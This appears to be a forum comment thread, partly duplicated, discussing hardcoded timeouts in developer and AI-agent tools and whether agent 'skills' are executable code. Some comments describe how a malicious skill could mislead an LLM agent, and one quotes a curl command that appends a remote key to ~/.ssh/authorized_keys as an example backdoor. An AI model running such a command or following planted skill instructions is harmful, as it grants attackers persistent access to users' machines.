I do actually appreciate go's new timetravel testing; with some setup you can make time fast forward under the condition that all other threads are blocked, then you can even test multi-minute timeouts in under a second total. Just fast forward time to "just before timeout", check there is none, then forward past the timeout and check the timeout worked.
I have a love/hate relationship with those kinds of tests. To avoid making them flaky, I often still have to configure a timeout of a couple of seconds for the test. But given how many things need timeouts, that racks up time quickly!
So I'm always tempted to express the timeout in terms of some sort of system tick instead. Then the timeout can be static and the tick artificially advanced instead. But if the system doesn't already have some sort of tick system that turns into more machinery...
I'd like to add: They don't need to be injected if you can derive them.
TCP comes with RTT information (for example) for free (via getsockopt), which you can put right back into TCP_USER_TIMEOUT to detect dead links fast (very very important if you've got a poor sap who wants to try 10gbps over TCP)
Terminals (e.g. over ssh) can be induced to respond (e.g. using CSI c / DA) which can give you something similar on the tty: No need to guess what VTIME should be!
Sometimes timeouts are nice, and if there's a way to tell the user how to choose one that's the best. Sometimes a benchmarking mode can help.
But I think choosing a timeout is also often mysterious, and without context usually produces worse results not better, since it isn't probably the sort of thing that gets tested very often, and to demand good choices before using the software puts a lot of pressure on the user that might harm their ability to be successful.
So I too think a lot of timeouts just don't need to be there; if TCP is really supposed to offer anything at all, we should be able to wait until it connects and just trust the kernel's retry timer. What else are we going to do besides retry or abort, and shouldn't that be up to the user? They could press ^C whenever they want... The gordon example almost certainly should have done this.
https://github.com/vercel-labs/skills/issues/278 (by someone else) quite ridiculous—just skim its first two comments, absurd amounts of unnecessary detail and a preposterous solution, all very obviously slop. All that needed to be said was “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong”. The rest is worse than posturing.
Rather like the issue, this article is written in a tedious style which sure looks sloppy, and I disagree with parts of its conclusions.
The thing is, timeouts need to exist. Infinite waits are bad. Hanging processes are bad. I’m not arguing against timeouts.
Since the author won’t, I will.
The skills case shouldn’t have a timeout at all: it’s the wrong place and the wrong thing. You rather want to check if it’s still working, and Git has that handled. The problematic case is if it can get stalled waiting for authentication, and I’m not convinced that can happen in a way that needs to be catered for. If it’s interactive, the user will observe the authentication prompt and so the timeout cutting them off is wrong, and if it’s not interactive then it should fail immediately. I’m inclined to presume it’s slop-style cargo-culting (in which area Chesterton’s fence is an increasingly unreliable rubric).
As for the Docker Gordon case, well, for a human tool I’d just say there shouldn’t be any timeout, it’s obviously dumb, the human will observe if things aren’t working as expected and interrupt it. For AI nonsense, well, this sounds to me like the wrong way to apply a timeout. I would rather expect it to throw an LLM at it and its logs or something to apply judgement like the human would, to see if it seems like it’s not working or stuck and interrupt it. A hard timeout is obviously idiotic, but a timeout at all feels from the wrong era of computing for such a thing.
This feels wildly uncharitable to me. The vercel repo has a template for bug tickets that requires the exact fields the ticket author filled out. They also went a little further in a follow up comment to point out other cases of the same issue (whether that was strictly helpful is debatable). Moreover, one assumes they added a bug report template because they were tired of drive by bug reports like “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong”. One might also suggest the use of an unnecessary “obviously” in there would not make for a great bug report.
As regards the issue description: sorry, I erred there, I think I was doing something else in between and got it confused. Or maybe I got fed up with the obvious slop and was heading out of there as quickly as I could. No, that one’s fine. Still a bit unnecessarily verbose even with a template, but fine.
But the following comment really is that bad. It’s clearly from an LLM, heading down a rabbit hole, presenting stupidly-precise irrelevant (and subjective!) figures, tackling the wrong problem, and giving a ridiculous solution.
I’ve reflected on “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong” and decided that, although I didn’t intend that it be that brief and blunt (it’s a prose description of the essence; I’d have used a blockquote if I were suggesting precise wording), I do think that even so it would still be an acceptable (though not great) issue description on its own. It genuinely does say all that needs to be said.
Privileged devs (or the management directing them) not caring about lower specced or poorer users is a legitimate problem, but in this case I don't get it, aren't skills just a bunch of markdown files? What do you need npm for as opposed to just git cloning it (perhaps once to a VPS with faster connection, then using rsync to download it)?
edit: reading further, they do do this
The workaround I found? Clone the repo manually first, then install from the local copy. It works, mostly. Except now skills-lock.json points to a path on my machine. My colleagues cannot use it. I also have to update my copy everytime I want update my skills. One workaround creates a lot of other problems.
But I'm still confused, can't they just...git exclude or gitignore the skills-lock.json? And why do you even need a lockfile for what is essentially documentation?? And is running an extra git pull really such a hassle?
Skills are, effectively, executable code that happens to be written in human language. The reason to have automation around it is to make it easy for the entire team to use the same set, and the reason to have a lock file is to avoid a supply chain attack where benign/helpful instructions are replaced with malicious ones.
If we were in the habit of pulling docs down locally for humans, you'd want the same behaviours anyway. Humans are also vulnerable to prompt injection attacks. We just call it "phishing" or "social engineering".
(This is not an endorsement of AI usage, but is an endorsement of contextually-appropriate threat modelling.)
Skills are not executable code, though. They're more like a macro for inserting the "code" once into the context. (Calling a skill twice doesn't send theh code again, for example.)
This template can refer to actual code, though! That code would be loaded every time it's run.
Skills absolutely include executable code, often right next to the SKILL.md file. The SKILL.md file will say something like "Run do_x.py to do X", and do_y.py will be sitting right there with actual code, right in the skill directory.
LLMs are extremely susceptible to something analogous to "social engineering" attacks. Some of the smarter ones might read do_x.py and notice that something is amiss. But if do_x.py downloads and installs an innocent-looking external tool, the LLM will almost certainly assume this is normal.
Cool article but nothing whatsoever to do with disability and shouldn’t be tagged under accessibility even if the domain name happens to look a lot like the abbreviation a11y.
I think an argument could be made that accessibility is broader than being mindful of different needs to do with disability, but also includes accessibility to those who don't have big-tech-hub-tier internet connections. This article is definitely worthwhile but I'm not sure it particularly fits better under any other tags.
Yes and: every network IO or command shell out should have some timeout even if it's a wild maximum.
It's a little annoying that agents don't exec tool calls in the background and poll them by default. The number of times I've walked away and come back to find it deadlocked itself 30 seconds into a 30 minute task is non zero.
Nah, the 2-min timeout in Docker Gordon sounds deliberate:
When debugging a docker build issue, the first thing you need to do is split the failing step, so you don't need to download the same gigabytes again and again.
AI makes it so easy to abuse computing power rather than get your iteration cycle down. Perhaps there are legit uses of hard limits in this age.
pmarreck | 13 hours ago
If you actually fucking test timeouts properly, you'll quickly (ahem) realize why they need to be injected instead of hardcoded!
cultpony | 8 hours ago
I do actually appreciate go's new timetravel testing; with some setup you can make time fast forward under the condition that all other threads are blocked, then you can even test multi-minute timeouts in under a second total. Just fast forward time to "just before timeout", check there is none, then forward past the timeout and check the timeout worked.
kqr | 11 hours ago
I have a love/hate relationship with those kinds of tests. To avoid making them flaky, I often still have to configure a timeout of a couple of seconds for the test. But given how many things need timeouts, that racks up time quickly!
So I'm always tempted to express the timeout in terms of some sort of system tick instead. Then the timeout can be static and the tick artificially advanced instead. But if the system doesn't already have some sort of tick system that turns into more machinery...
klingtnet | 8 hours ago
At least in Go I don't really care about the actual timeout when testing because of synctest.
geocar | 3 hours ago
I'd like to add: They don't need to be injected if you can derive them.
TCP_USER_TIMEOUTto detect dead links fast (very very important if you've got a poor sap who wants to try 10gbps over TCP)VTIMEshould be!Sometimes timeouts are nice, and if there's a way to tell the user how to choose one that's the best. Sometimes a benchmarking mode can help.
But I think choosing a timeout is also often mysterious, and without context usually produces worse results not better, since it isn't probably the sort of thing that gets tested very often, and to demand good choices before using the software puts a lot of pressure on the user that might harm their ability to be successful.
So I too think a lot of timeouts just don't need to be there; if TCP is really supposed to offer anything at all, we should be able to wait until it connects and just trust the kernel's retry timer. What else are we going to do besides retry or abort, and shouldn't that be up to the user? They could press ^C whenever they want... The gordon example almost certainly should have done this.
chrismorgan | 10 hours ago
https://github.com/vercel-labs/skills/issues/278 (by someone else) quite ridiculous—just skim its first two comments, absurd amounts of unnecessary detail and a preposterous solution, all very obviously slop. All that needed to be said was “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong”. The rest is worse than posturing.
Rather like the issue, this article is written in a tedious style which sure looks sloppy, and I disagree with parts of its conclusions.
Since the author won’t, I will.
The
skillscase shouldn’t have a timeout at all: it’s the wrong place and the wrong thing. You rather want to check if it’s still working, and Git has that handled. The problematic case is if it can get stalled waiting for authentication, and I’m not convinced that can happen in a way that needs to be catered for. If it’s interactive, the user will observe the authentication prompt and so the timeout cutting them off is wrong, and if it’s not interactive then it should fail immediately. I’m inclined to presume it’s slop-style cargo-culting (in which area Chesterton’s fence is an increasingly unreliable rubric).As for the Docker Gordon case, well, for a human tool I’d just say there shouldn’t be any timeout, it’s obviously dumb, the human will observe if things aren’t working as expected and interrupt it. For AI nonsense, well, this sounds to me like the wrong way to apply a timeout. I would rather expect it to throw an LLM at it and its logs or something to apply judgement like the human would, to see if it seems like it’s not working or stuck and interrupt it. A hard timeout is obviously idiotic, but a timeout at all feels from the wrong era of computing for such a thing.
tclancy | 3 hours ago
This feels wildly uncharitable to me. The vercel repo has a template for bug tickets that requires the exact fields the ticket author filled out. They also went a little further in a follow up comment to point out other cases of the same issue (whether that was strictly helpful is debatable). Moreover, one assumes they added a bug report template because they were tired of drive by bug reports like “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong”. One might also suggest the use of an unnecessary “obviously” in there would not make for a great bug report.
chrismorgan | 51 minutes ago
As regards the issue description: sorry, I erred there, I think I was doing something else in between and got it confused. Or maybe I got fed up with the obvious slop and was heading out of there as quickly as I could. No, that one’s fine. Still a bit unnecessarily verbose even with a template, but fine.
But the following comment really is that bad. It’s clearly from an LLM, heading down a rabbit hole, presenting stupidly-precise irrelevant (and subjective!) figures, tackling the wrong problem, and giving a ridiculous solution.
I’ve reflected on “cloning repositories can take arbitrarily long, so putting a 60 second timeout is obviously wrong” and decided that, although I didn’t intend that it be that brief and blunt (it’s a prose description of the essence; I’d have used a blockquote if I were suggesting precise wording), I do think that even so it would still be an acceptable (though not great) issue description on its own. It genuinely does say all that needs to be said.
7tehdt3cnw6kir6o | 19 hours ago
Privileged devs (or the management directing them) not caring about lower specced or poorer users is a legitimate problem, but in this case I don't get it, aren't skills just a bunch of markdown files? What do you need npm for as opposed to just git cloning it (perhaps once to a VPS with faster connection, then using rsync to download it)?
edit: reading further, they do do this
But I'm still confused, can't they just...git exclude or gitignore the skills-lock.json? And why do you even need a lockfile for what is essentially documentation?? And is running an extra git pull really such a hassle?
jdpage | 19 hours ago
Skills are, effectively, executable code that happens to be written in human language. The reason to have automation around it is to make it easy for the entire team to use the same set, and the reason to have a lock file is to avoid a supply chain attack where benign/helpful instructions are replaced with malicious ones.
If we were in the habit of pulling docs down locally for humans, you'd want the same behaviours anyway. Humans are also vulnerable to prompt injection attacks. We just call it "phishing" or "social engineering".
(This is not an endorsement of AI usage, but is an endorsement of contextually-appropriate threat modelling.)
chrismorgan | 46 minutes ago
Silly thought that came to me from combining this with https://lobste.rs/s/qvdatp/jailbreaking_my_car_s_navigation_system: should these things refuse to run files on
noexecfile systems?(I know
noexecis about direct execution and shebangs and such, not script names passed as arguments likepython example.py.)kqr | 11 hours ago
Skills are not executable code, though. They're more like a macro for inserting the "code" once into the context. (Calling a skill twice doesn't send theh code again, for example.)
This template can refer to actual code, though! That code would be loaded every time it's run.
emk | 2 hours ago
Skills absolutely include executable code, often right next to the
SKILL.mdfile. TheSKILL.mdfile will say something like "Rundo_x.pyto do X", anddo_y.pywill be sitting right there with actual code, right in the skill directory.LLMs are extremely susceptible to something analogous to "social engineering" attacks. Some of the smarter ones might read
do_x.pyand notice that something is amiss. But ifdo_x.pydownloads and installs an innocent-looking external tool, the LLM will almost certainly assume this is normal.JulianSildenLanglo | 2 hours ago
Yeah even something as simple as sneaking in a little
curl https://example.com/publickey >> ~/.ssh/authorized_keyscan have serious side effects.intelfx | 2 hours ago
Not in the regular sense of a blob of imperatively executable code injected at $pc, no, but an LLM isn't an imperative execution engine either.
Perhaps a skill is more like a dynamically loadable library, that creates new nodes and vertices in the "local worldview" graph of an LLM?
henrycatalinismith | 11 hours ago
Cool article but nothing whatsoever to do with disability and shouldn’t be tagged under accessibility even if the domain name happens to look a lot like the abbreviation a11y.
dutchie | 9 hours ago
I think an argument could be made that accessibility is broader than being mindful of different needs to do with disability, but also includes accessibility to those who don't have big-tech-hub-tier internet connections. This article is definitely worthwhile but I'm not sure it particularly fits better under any other tags.
schneems | 3 hours ago
Yes and: every network IO or command shell out should have some timeout even if it's a wild maximum.
It's a little annoying that agents don't exec tool calls in the background and poll them by default. The number of times I've walked away and come back to find it deadlocked itself 30 seconds into a 30 minute task is non zero.
anordal | 2 hours ago
Nah, the 2-min timeout in Docker Gordon sounds deliberate:
When debugging a docker build issue, the first thing you need to do is split the failing step, so you don't need to download the same gigabytes again and again.
AI makes it so easy to abuse computing power rather than get your iteration cycle down. Perhaps there are legit uses of hard limits in this age.